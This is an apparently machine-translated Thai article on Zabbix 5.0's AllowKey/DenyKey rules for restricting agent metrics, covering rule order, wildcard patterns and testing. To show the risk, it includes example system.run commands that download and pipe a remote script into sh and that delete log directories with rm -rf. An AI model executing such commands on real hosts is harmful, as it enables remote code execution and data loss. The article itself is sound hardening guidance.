การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทน

ทิฆอน ยูสคอฟ, วิศวกรบูรณาการ, Zabbix

ปัญหาด้านความปลอดภัยของข้อมูล

Zabbix 5.0 มีคุณสมบัติใหม่ที่ช่วยให้คุณปรับปรุงความปลอดภัยในระบบโดยใช้ Zabbix Agent และแทนที่พารามิเตอร์เก่า เปิดใช้งานคำสั่งระยะไกล.

การปรับปรุงความปลอดภัยของระบบที่ใช้เอเจนต์นั้นเกิดจากการที่ตัวแทนสามารถดำเนินการที่อาจเป็นอันตรายได้จำนวนมาก

  • ตัวแทนสามารถรวบรวมข้อมูลได้เกือบทุกชนิด รวมถึงข้อมูลที่เป็นความลับหรืออาจเป็นอันตราย จากไฟล์การกำหนดค่า ไฟล์บันทึก ไฟล์รหัสผ่าน หรือไฟล์อื่น ๆ

ตัวอย่างเช่น การใช้ยูทิลิตี้ zabbix_get คุณสามารถเข้าถึงรายชื่อผู้ใช้ โฮมไดเร็กตอรี่ ไฟล์รหัสผ่าน ฯลฯ

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

การเข้าถึงข้อมูลโดยใช้ยูทิลิตี้ zabbix_get

หมายเหตุ. สามารถดึงข้อมูลได้หากตัวแทนมีสิทธิ์อ่านไฟล์ที่เกี่ยวข้องเท่านั้น. แต่ยกตัวอย่างไฟล์ /etc/passwd/ ผู้ใช้ทุกคนสามารถอ่านได้

  • เอเจนต์ยังสามารถดำเนินการคำสั่งที่อาจเป็นอันตรายได้ เช่น คีย์ *system.run[]** ช่วยให้คุณสามารถดำเนินการคำสั่งระยะไกลบนโหนดเครือข่าย รวมถึงการเรียกใช้สคริปต์จากเว็บอินเทอร์เฟซของ Zabbix ที่ดำเนินการคำสั่งทางฝั่งตัวแทนด้วย

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • บน Linux เอเจนต์จะทำงานตามค่าเริ่มต้นโดยไม่มีสิทธิ์ใช้งานรูท ในขณะที่บน Windows เอเจนต์จะรันเป็นบริการในฐานะระบบและมีการเข้าถึงระบบไฟล์อย่างไม่จำกัด ดังนั้น หากไม่มีการเปลี่ยนแปลงใดๆ กับพารามิเตอร์ Zabbix Agent หลังการติดตั้ง เอเจนต์จะสามารถเข้าถึงรีจิสทรี ระบบไฟล์ และสามารถดำเนินการสืบค้น WMI ได้

ในเวอร์ชันก่อนหน้าจะมีพารามิเตอร์ EnableRemoteCommands=0 อนุญาตให้ปิดการใช้งานเมตริกด้วยคีย์เท่านั้น *system.run[]** และการเรียกใช้สคริปต์จากอินเทอร์เฟซเว็บ แต่ไม่มีวิธีใดที่จะจำกัดการเข้าถึงแต่ละไฟล์ อนุญาตหรือปิดใช้งานแต่ละคีย์ที่ติดตั้งด้วยเอเจนต์ หรือจำกัดการใช้พารามิเตอร์แต่ละรายการ

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

การใช้พารามิเตอร์ EnableRemoteCommand ใน Zabbix เวอร์ชันก่อนหน้า

AllowKey/DenyKey

Zabbix 5.0 ช่วยป้องกันการเข้าถึงโดยไม่ได้รับอนุญาตโดยจัดทำบัญชีขาวและบัญชีดำสำหรับการอนุญาตและปฏิเสธการวัดทางฝั่งตัวแทน

ใน Zabbix 5.0 คีย์ทั้งหมด รวมถึง *system.run[]** ถูกเปิดใช้งาน และมีการเพิ่มตัวเลือกการกำหนดค่าเอเจนต์ใหม่สองตัวเลือก:

อนุญาตคีย์= - การตรวจสอบที่ได้รับอนุญาต;

ปฏิเสธคีย์= - การตรวจสอบที่ต้องห้าม

โดยที่รูปแบบชื่อคีย์พร้อมพารามิเตอร์ที่ใช้อักขระเมตา (*)

ปุ่ม AllowKey และ DenyKey ช่วยให้คุณสามารถอนุญาตหรือปฏิเสธตัววัดแต่ละรายการตามรูปแบบเฉพาะได้ ไม่เหมือนกับพารามิเตอร์การกำหนดค่าอื่นๆ ไม่มีการจำกัดจำนวนพารามิเตอร์ AllowKey/DenyKey สิ่งนี้ช่วยให้คุณกำหนดอย่างชัดเจนว่าตัวแทนสามารถทำอะไรได้บ้างในระบบโดยการสร้างแผนผังการตรวจสอบ - คีย์ที่ปฏิบัติการได้ โดยที่ลำดับการเขียนมีบทบาทสำคัญมาก

ลำดับของกฎ

กฎจะถูกตรวจสอบตามลำดับที่ป้อนลงในไฟล์การกำหนดค่า คีย์จะถูกตรวจสอบตามกฎก่อนการจับคู่ครั้งแรก และทันทีที่คีย์ขององค์ประกอบข้อมูลตรงกับรูปแบบ คีย์นั้นจะได้รับอนุญาตหรือปฏิเสธ หลังจากนั้น การตรวจสอบกฎจะหยุดลงและคีย์ที่เหลือจะถูกละเว้น

ดังนั้น หากองค์ประกอบตรงกับทั้งกฎอนุญาตและปฏิเสธ ผลลัพธ์จะขึ้นอยู่กับกฎที่เกิดก่อนในไฟล์การกำหนดค่า

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

กฎ 2 ข้อที่แตกต่างกันซึ่งมีรูปแบบและคีย์เดียวกัน vfs.file.size[/tmp/file]

ลำดับการใช้คีย์ AllowKey/DenyKey:

  1. กฎที่แน่นอน
  2. กฎทั่วไป,
  3. กฎห้ามปราม

ตัวอย่างเช่น หากคุณต้องการเข้าถึงไฟล์ในโฟลเดอร์ใดโฟลเดอร์หนึ่ง คุณต้องอนุญาตการเข้าถึงไฟล์เหล่านั้นก่อน จากนั้นจึงปฏิเสธทุกสิ่งที่ไม่อยู่ในสิทธิ์ที่กำหนดไว้ หากใช้กฎการปฏิเสธก่อน การเข้าถึงโฟลเดอร์จะถูกปฏิเสธ

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

ลำดับที่ถูกต้อง

หากคุณต้องการอนุญาตให้ 2 ยูทิลิตี้ทำงานผ่าน *system.run[]** และกฎการปฏิเสธจะถูกระบุก่อน ยูทิลิตีจะไม่ถูกเปิดใช้งาน เนื่องจากรูปแบบแรกจะตรงกับคีย์ใดๆ เสมอ และกฎที่ตามมาจะถูกละเว้น

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

ลำดับไม่ถูกต้อง

รูปแบบ

กฎพื้นฐาน

รูปแบบคือนิพจน์ที่มีไวด์การ์ด เมตาอักขระ (*) จะจับคู่อักขระจำนวนเท่าใดก็ได้ในตำแหน่งที่ระบุ MetaCharacters สามารถใช้ได้ทั้งในชื่อคีย์และในพารามิเตอร์ ตัวอย่างเช่น คุณสามารถกำหนดพารามิเตอร์แรกด้วยข้อความอย่างเคร่งครัด และระบุอันถัดไปเป็นไวด์การ์ด.

พารามิเตอร์ต้องอยู่ในวงเล็บเหลี่ยม []

  • system.run[* - ผิด
  • vfs.file*.txt] - ผิด
  • vfs.file.*[*] - ขวา

ตัวอย่างการใช้ไวด์การ์ด

  1. ในชื่อคีย์และในพารามิเตอร์ ในกรณีนี้ คีย์ไม่สอดคล้องกับคีย์ที่คล้ายกันซึ่งไม่มีพารามิเตอร์ เนื่องจากในรูปแบบที่เราระบุว่าเราต้องการรับการลงท้ายชื่อคีย์และชุดพารามิเตอร์บางชุด
  2. หากรูปแบบไม่ได้ใช้วงเล็บเหลี่ยม รูปแบบจะอนุญาตคีย์ทั้งหมดที่ไม่มีพารามิเตอร์ และปฏิเสธคีย์ทั้งหมดที่มีพารามิเตอร์ที่ระบุ
  3. หากคีย์ถูกเขียนแบบเต็มและระบุพารามิเตอร์เป็นไวด์การ์ด มันจะจับคู่คีย์ที่คล้ายกันกับพารามิเตอร์ใดๆ และจะไม่จับคู่คีย์หากไม่มีวงเล็บเหลี่ยม กล่าวคือ จะได้รับอนุญาตหรือปฏิเสธ

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

กฎสำหรับการกรอกพารามิเตอร์

  • หากต้องการใช้คีย์ที่มีพารามิเตอร์ จะต้องระบุพารามิเตอร์ในไฟล์การกำหนดค่า ต้องระบุพารามิเตอร์เป็นเมตาอักขระ จำเป็นต้องปฏิเสธการเข้าถึงไฟล์ใดๆ อย่างระมัดระวัง และคำนึงถึงข้อมูลที่เมตริกสามารถให้ได้ภายใต้การสะกดที่แตกต่างกัน ทั้งแบบมีและไม่มีพารามิเตอร์

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

คุณสมบัติของการเขียนคีย์พร้อมพารามิเตอร์

  • หากมีการระบุคีย์ด้วยพารามิเตอร์ แต่พารามิเตอร์เป็นทางเลือกและระบุเป็นอักขระเมตา คีย์ที่ไม่มีพารามิเตอร์จะได้รับการแก้ไข ตัวอย่างเช่น หากคุณต้องการปิดใช้งานการรับข้อมูลเกี่ยวกับโหลดบน CPU และระบุว่าควรปิดใช้งานคีย์ system.cpu.load[*] อย่าลืมว่าคีย์ที่ไม่มีพารามิเตอร์จะส่งกลับค่าโหลดโดยเฉลี่ย

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

กฎสำหรับการกรอกพารามิเตอร์

ข้อคิดเห็น

การตั้งค่า

  • ผู้ใช้ไม่สามารถเปลี่ยนแปลงกฎบางกฎได้ เช่น กฎการค้นพบหรือกฎการลงทะเบียนอัตโนมัติของตัวแทน กฎ AllowKey/DenyKey ไม่ส่งผลต่อพารามิเตอร์ต่อไปนี้:
    - ชื่อโฮสต์รายการ
    - HostMetadataItem
    - โฮสต์อินเทอร์เฟซรายการ

หมายเหตุ. หากผู้ดูแลระบบปิดใช้งานคีย์ เมื่อถูกสอบถาม Zabbix จะไม่ให้ข้อมูลว่าเหตุใดเมตริกหรือคีย์จึงอยู่ในหมวดหมู่ 'ไม่สนับสนุน'. ข้อมูลเกี่ยวกับข้อห้ามในการรันคำสั่งระยะไกลจะไม่แสดงในไฟล์บันทึกของตัวแทนด้วย นี่เป็นเหตุผลด้านความปลอดภัย แต่อาจทำให้การดีบักซับซ้อนขึ้นได้หากตัววัดอยู่ในหมวดหมู่ที่ไม่รองรับด้วยเหตุผลบางประการ.

  • คุณไม่ควรอาศัยลำดับเฉพาะใดๆ ในการเชื่อมต่อไฟล์การกำหนดค่าภายนอก (เช่น ตามลำดับตัวอักษร)

ยูทิลิตี้บรรทัดคำสั่ง

หลังจากตั้งค่ากฎแล้ว คุณต้องตรวจสอบให้แน่ใจว่าทุกอย่างได้รับการกำหนดค่าอย่างถูกต้อง

คุณสามารถใช้หนึ่งในสามตัวเลือก:

  • เพิ่มตัวชี้วัดให้กับ Zabbix
  • ทดสอบด้วย zabbix_agentd. ตัวแทน Zabbix พร้อมตัวเลือก -พิมพ์ (-p) แสดงคีย์ทั้งหมด (ซึ่งได้รับอนุญาตตามค่าเริ่มต้น) ยกเว้นคีย์ที่ไม่ได้รับอนุญาตโดยการกำหนดค่า และด้วยทางเลือก -ทดสอบ (-t) สำหรับกุญแจต้องห้ามจะกลับมา 'คีย์รายการที่ไม่รองรับ'
  • ทดสอบด้วย zabbix_get. คุณประโยชน์ zabbix_get พร้อมตัวเลือก -k จะกลับมา 'ZBX_NOTSUPPORTED: เมตริกที่ไม่รู้จัก'

อนุญาตหรือปฏิเสธ

คุณสามารถปฏิเสธการเข้าถึงไฟล์และตรวจสอบได้ เช่น การใช้ยูทิลิตี้ zabbix_getการเข้าถึงไฟล์นั้นถูกปฏิเสธ

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

**

หมายเหตุ. เครื่องหมายคำพูดในพารามิเตอร์จะถูกละเว้น.

ในกรณีนี้ การเข้าถึงไฟล์ดังกล่าวอาจได้รับอนุญาตผ่านเส้นทางอื่น ตัวอย่างเช่น หาก symlink นำไปสู่สิ่งนั้น

การสนับสนุนบัญชีดำและบัญชีขาวสำหรับตัวชี้วัดฝั่งตัวแทนใน Zabbix 5.0

ขอแนะนำให้ตรวจสอบตัวเลือกต่าง ๆ สำหรับการใช้กฎที่ระบุและคำนึงถึงความเป็นไปได้ในการหลีกเลี่ยงข้อห้ามด้วย

คำถามและคำตอบ

คำถาม. เหตุใดจึงเลือกรูปแบบที่ซับซ้อนด้วยภาษาของตัวเองเพื่ออธิบายกฎ การอนุญาต และข้อห้าม เหตุใดจึงไม่สามารถใช้นิพจน์ทั่วไปที่ Zabbix ใช้ได้

ตอบ. นี่เป็นปัญหาด้านประสิทธิภาพของ regex เนื่องจากโดยปกติจะมีตัวแทนเพียงตัวเดียวและจะตรวจสอบเมตริกจำนวนมาก Regex เป็นการดำเนินการที่ค่อนข้างหนัก และเราไม่สามารถตรวจสอบเมตริกนับพันด้วยวิธีนี้ได้ Wildcards - โซลูชันที่เป็นสากล ใช้กันอย่างแพร่หลาย และเรียบง่าย.

คำถาม. ไฟล์รวมไม่เรียงตามลำดับตัวอักษรใช่หรือไม่

ตอบ. เท่าที่ฉันรู้ แทบจะเป็นไปไม่ได้เลยที่จะคาดเดาลำดับกฎเกณฑ์ที่จะนำไปใช้ หากคุณกระจายกฎไปยังไฟล์ต่างๆ ฉันขอแนะนำให้รวบรวมกฎ AllowKey/DenyKey ทั้งหมดในไฟล์รวมไฟล์เดียว เนื่องจากกฎเหล่านี้โต้ตอบกัน และรวมไฟล์นี้ด้วย.

คำถาม. ใน Zabbix 5.0 ตัวเลือก 'EnableRemoteCommands=' หายไปจากไฟล์การกำหนดค่า และมีเพียง AllowKey/DenyKey เท่านั้นที่ใช้งานได้

คำตอบ. ถูกต้องเลย.

ขอบคุณ!

ที่มา: will.com

เพิ่มความคิดเห็น